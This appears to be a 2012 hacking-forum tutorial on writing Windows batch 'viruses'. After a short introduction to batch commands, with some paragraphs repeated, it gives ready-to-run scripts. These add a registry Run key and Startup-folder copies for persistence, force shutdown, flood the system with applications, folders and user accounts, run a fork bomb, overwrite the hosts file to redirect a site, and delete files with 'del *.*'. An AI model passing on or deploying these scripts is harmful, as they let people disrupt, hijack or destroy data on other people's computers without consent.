Very basic batch programming + some viruses 11-18-2012, 01:22 PM
#1
Hello today, I will write short tutorial about writing batch viruses.
Those viruses aren't like trojan hourse or worms. For example shutting down virus.
Let's start.
We will start with some basics batch programming.
What you will need notepad or notepad++(or similar program), hands, brain!
Basic batch programming
Execute virus on Start up
Application Bomber
Folder flooder
Shutdown Virus
User account flooder
Fork Bomb
DNS Poisoning
Deleter
Those viruses aren't like trojan hourse or worms. For example shutting down virus.
Let's start.
We will start with some basics batch programming.
What you will need notepad or notepad++(or similar program), hands, brain!
Basic batch programming
Spoiler:
To create file that will lanche the commands you need to save the file with extension .bat .
Ok the first command you should know is:
Note that no DOS commands are case sensitive.
By default the console will display all of the lines of code as they execute and then the result most of the time the source code is unnecessary to the user creates clutter and in other cases gives away security and such.
This will display MSG.
In almost every ptogramming laungage will run,execute and close abruptly before the user have chanse to read the information for this we use pause command this will pause the window after executing the commands.
This is used to run an external executable. START can also be used to start explore, you know, to look at files or website. Here are some examples.
Since, I don't have much time today http://www.robvanderwoude.com/batchcommands.php here you can read more about commands, I recommend to read more about them.
Enough for now if there is interes, I can continue writing tutorials about batch programming.
Ok the first command you should know is:
Code:
@ECHO OFFBy default the console will display all of the lines of code as they execute and then the result most of the time the source code is unnecessary to the user creates clutter and in other cases gives away security and such.
Code:
ECHOCode:
pauseCode:
STARTCode:
START virus.bat - This will start virus.bat.
START \\networked\sharedfolder - This will start explore.
START http://anarchyforums.net - This will open AF in default browser.Since, I don't have much time today http://www.robvanderwoude.com/batchcommands.php here you can read more about commands, I recommend to read more about them.
Enough for now if there is interes, I can continue writing tutorials about batch programming.
Execute virus on Start up
Spoiler:
Code:
@ECHO OFF
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v demo /t REG_SZ /d demo.exeApplication Bomber
Spoiler:
Code:
@echo off
:x
start winword
start mspaint
start notepad
start write
start cmd
start explorer
start control
start calc
goto xFolder flooder
Spoiler:
Code:
@echo off
:x
md %random% // makes directory/folder.
goto xShutdown Virus
Spoiler:
Code:
copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”
copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” -These two commands will copy the batchfile in start up folders (in XP).
shutdown -s -t 00User account flooder
Spoiler:
Code:
@echo off
:x
net user %random% /add //create user account
goto xFork Bomb
Spoiler:
Code:
@ECHO OFF
%0|%0 -Its percentage zero pipe percentage zero.DNS Poisoning
Spoiler:
Code:
@echo off
echo xxx.xxx.xxx.xxx www.site.com > C:\windows\system32\drivers\etc\hostsDeleter
Spoiler:
Code:
@ECHO OFF
del *.*




![[+]](https://sinister.li/images/modern/collapse_collapsed.png)















- Find it in google.